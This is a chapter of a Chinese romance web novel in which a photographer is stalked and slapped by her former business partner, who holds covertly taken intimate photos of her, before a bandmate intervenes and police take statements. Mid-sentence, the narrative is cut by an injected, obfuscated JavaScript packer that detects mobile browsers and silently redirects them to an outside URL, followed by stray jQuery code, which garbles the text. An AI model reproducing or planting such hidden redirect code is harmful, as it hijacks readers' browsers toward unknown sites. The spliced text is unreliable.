30. 警局
作品:《秩序之外》 电话刚好被接通,罗清姿话还没说出口,就听到那边顾星玉的声音。
她忍着没出声,心里盘算着如何帮助邬丛脱身。
听筒时不时传来两人的对话声,她听到邬丛问他:“跟踪我?”
顾星玉摊手:“什么话?我只不过是关心一下我们邬大摄影师的近况。”
脸上带着笑,若不是跟踪她到了这鸟不拉屎的地方,叫旁人看了,还真以为他是个好好公子。
他环顾了一圈,四周是爆了皮的废弃钢料以及杂乱生长的野草:“听说你最近在负责一支乐队?”
邬丛站在原地,手依旧松松地握着屏幕,眼里闪过一丝警觉:“消息倒是挺灵通。”
“不过叙旧也要分场合不是吗?不如先去我那边喝杯咖啡?”
她拿不准顾星玉突然出现在这儿是什么想法,只能想办法先拖住他,顺道给罗清姿报了个地址。
说完,她按下电源键挂了电话:“你应该知道我工作室在哪吧?”
“当然。”顾星玉突然上前,抬起手就要往她脸上摸,邬丛下意识地后退了一步。
他看了眼摸空的手,两指曲起捻了捻,仍旧笑着:“那走吧。”
邬丛率先抬步,沿着刚进来时那条小路出去,有几根枯了的野草划过小腿,涩得皮肤痛。
罗清姿挂了电话后便立刻报了警,可惜她现在工作在身,走不开,只好给林风发了消息。
罗清姿:【邬丛现在有事,麻烦去趟工作室看看。】
林风接到消息时,乐队排练刚要开始,谢珂的棒槌在手上转了一圈后,敲出一段鼓点。
他无意识地念出了这句话,反应过来后直接站了起来。
谢珂被吓了一跳,敲鼓的节奏也变得不太稳当,左奕的琴弦也被吓得发出声颤音。
谈屹舟正要进第一句,被这么一搞,连开口的档口都找不准。
他转身拧眉:“怎么回事?”
林风举着手机,结结巴巴地对他解释:“罗清姿说,邬丛现在有事,让我们去她工作室一趟。”
谈屹舟只是瞄了一眼手机,连具体的内容都没看清,就抓起一旁的车钥匙往外跑。
电梯就在排练室拐角,但却被人占用,按了半天下行键都没有响应,他干脆拉开旁边的安全门,三步并作两步两步往楼下跑。
此刻脑子里什么都没有,只有林风说的那句“邬丛现在有事”久久盘旋。
谈屹舟不知道她说的有事是大是小,邬丛也没跟他说过,只是凭借本能地按着罗清姿的指示往工作室走。
地下车库得冷空气混着汽油味扑鼻而来,谈屹舟深呼吸两口气,强迫自己冷静下来。
林风他们出来时跟不上,边往下跑边跟他打电话:“谈屹舟,你先别急。罗清姿跟我说了,她已经先报了警,对方是邬丛以前工作室的合伙人,一时半会儿应该还没什么事。”
“好,先挂了,开着车呢。”谈屹舟冷声回答,面容是前所未有的冷静,“你们随后过来。”
等到他赶到时,邬丛和顾星玉正坐在工作室的落地窗旁喝咖啡。
两人相对而坐,顾星玉后靠在椅子上打量着这地方:“你的品味还是一如既往的独特。”
不远处的长桌上还放着新换的红玫瑰,红艳艳的沾着水。
邬丛闲散地喝了口咖啡,瓷杯磕在碟子上的声音清脆,她开门见山:“找我有什么事不如直说。”
都做到这份上了,她不信顾星玉今天找过来没什么所图。
“行。”顾星玉将双手枕在脑后,“找你来呢,就是做个交易。”
邬丛挑眉,示意他继续说下去。
“工作室离开你之后,也是一天不如一天。”顾星玉无奈摊摊手,“我承认是我小瞧了你。”
他站起身绕到邬丛身后:“所以我来找你合作。”
自从两人分开后,很多人都寻着邬丛的名气纷纷倒戈,顾星玉凭着他那点三脚猫功夫留不住客,工作室日渐惨淡,连“星玉”工作室都入不敷出。
“合作?”邬丛端着咖啡杯的手稳如磐石,甚至没因顾星玉绕到她身后而回头,只是坐直身子目视前方,余光扫过他落在椅子把手上的手,语气讥诮,“你跟踪我到荒郊野外,你的诚意呢?”
顾星玉脸色一变,举起手机到她面前。
一张张照片从她眼前划过,有她低头的、睡觉的,各式各样。
邬丛一眨不眨地盯着照片,顾星玉的呼吸喷在她后颈,让她从心底里生出一股恶寒。
接着,她看到了一些隐蔽的拍摄角度,有浴室的、卧室的。
顾星玉得声音在耳边响起,如恶魔低语:“这些够不够诚意?”
谈屹舟推开门时,就看到邬丛死死地盯着顾星玉,指尖扣着桌边,用力到泛白。
顾星玉看到谈屹舟后,从邬丛身边退开,又挂上那副让邬丛作呕的笑脸:“啊,来客人了。”
“我知道你,邬丛负责的乐队是你的吧?”他闭着眼想了想,“你是叫……谈屹舟?如果我没记错的话。”
谈屹舟没搭理他,只是看向他身旁的邬丛,沉声道:“邬丛,你过来。”
顾星玉脸上的笑僵了一瞬,似乎没想到谈屹舟会这么直接。
邬丛趁他愣神的瞬间,试图从他手里夺过手机,却没想到扑了空,被顾星玉扇了一巴掌。
清脆的巴掌声格外刺耳,邬丛的脸被打得偏了过去,白皙的皮肤迅速浮起几道清晰的指痕,火辣辣的疼。
就在顾星玉还想抬手的刹那,谈屹舟眼疾手快,从他身边拉走邬丛,护在身后。
邬丛踉跄了下,后背撞上他坚硬的胸膛,熟悉的薄荷海盐味将她包裹,紧绷的神经松懈了一毫。
但随即而来的,脸上由疼转向麻木的感觉,让她浑身不受控制地微微颤栗起来,不是恐惧,是愤怒到了极致。
她站在谈屹舟背后,拳头握紧,迈出半个步子却被谈屹舟抢了先。
“是这只手吗?”谈屹舟捏着他的手腕向后一别,反制住他,顾星玉扭了下身子,却被他紧紧桎梏住,动弹不得。
“让我想想,是让你这里骨折呢?还是这里?”谈屹舟屈腿,顾星玉使不上力,“噗通”一声跪倒在地。
窗外的眼光正好,大片洒进室内,照在谈屹舟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17015958|193407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没什么表情的脸上。
林风他们在他后来赶到,随之而来的,还有警察。
“松手!警察!”警察厉声呵斥,同时示意身后的同事上前。
谈屹舟闻言,手上的力道没松,后退一步,将被压制许久的顾星玉完全暴露在警察面前,也让自己脱离了被误解的境地。
等到警察上前钳制住顾星玉,他才松手,两手举到耳边,挂起一抹恰到好处的笑:“警察同志,是他先动的手,我这是正当防卫。”
语气不卑不亢,带着点配合调查的坦然。
警察看了他一眼,没接话,目光锐利地在他脸上停留片刻,除了衣襟因刚才的动作略显凌乱,看不出任何激烈打斗过的痕迹。
反观地上的顾星玉,脸色煞白、冷汗涔涔,此刻正龇牙咧嘴地喘着粗气。
“先带回去做个笔录。”为首的警察对身后的年轻警察说,他转头对在场的所有人补充,“希望你们配合调查。”
于是,一群人浩浩荡荡地去了警局。
作为主要涉事人,邬丛被要求做笔录。
她将顾星玉掉在地上的手机交给警察,一五一十地说明了情况:“首先,顾星玉是跟踪,我为了拖延时间,将他带到了我的工作室。其次,他手机里有我的私密照片,在争夺证据的过程中他打了我一巴掌。”
邬丛侧过脸,将那处红痕暴露在白炽灯下,在白皙的皮肤上显得触目惊心,此刻只有触碰时才会感到烧痛。
“谈屹舟怕他再做出什么举动,才钳制住他。”
“好的,我们了解了。”警察朝邬丛点头,示意她可以出去了。
走廊另一端,谈屹舟也刚好做完笔录出来,两个人隔着几步距离对视,还没开口说话,就被风风火火赶来的罗清姿打断。
“丛丛,你没事吧?”她进来后把包丢给林风,捧着邬丛的脸就是一顿看,“我刚从工作里抽开身,来得有点晚了。”
罗清姿看着邬丛泛红的脸颊,眼里是止不住的心疼,随后想到罪魁祸首,眼里闪过一丝狠厉:“顾星玉这个人渣!”
说着,就要抡起拳头去找人算账,被林风及时拉下:“干什么呢?这可是在警局!”
邬丛也赶忙过来安抚:“我没事,你先冷静一点。”
她看了眼谈屹舟,后者晃荡着步子坐在长廊的排椅上,朝她挑了下眉,颇有几分邀功的意味。
林风也松了口气,连忙打圆场:“消消气清姿姐,警察会处理的,你这时候过去,不是给了他反咬一口的机会吗?”
“我就是气不过啊。”罗清姿被人按着坐下,胸口因为愤怒微微起伏。
这个时候,顾星玉从另一个房间出来,在路过他们的时候,对着谈屹舟笑得猖狂:“英雄救美啊,你是她什么人?”
空气静了一瞬,所有人都看向顾星玉。
罗清姿像只炸毛的猫,又想站起来,被林风死死按住,只能用眼神狠狠瞪着顾星玉。
谈屹舟松散地靠在排椅上,撩起眼皮,淡淡扫过顾星玉那张脸。
下一秒,邬丛走过去牵起他的手,语气淡淡却掷地有声:“他是我男朋友。”

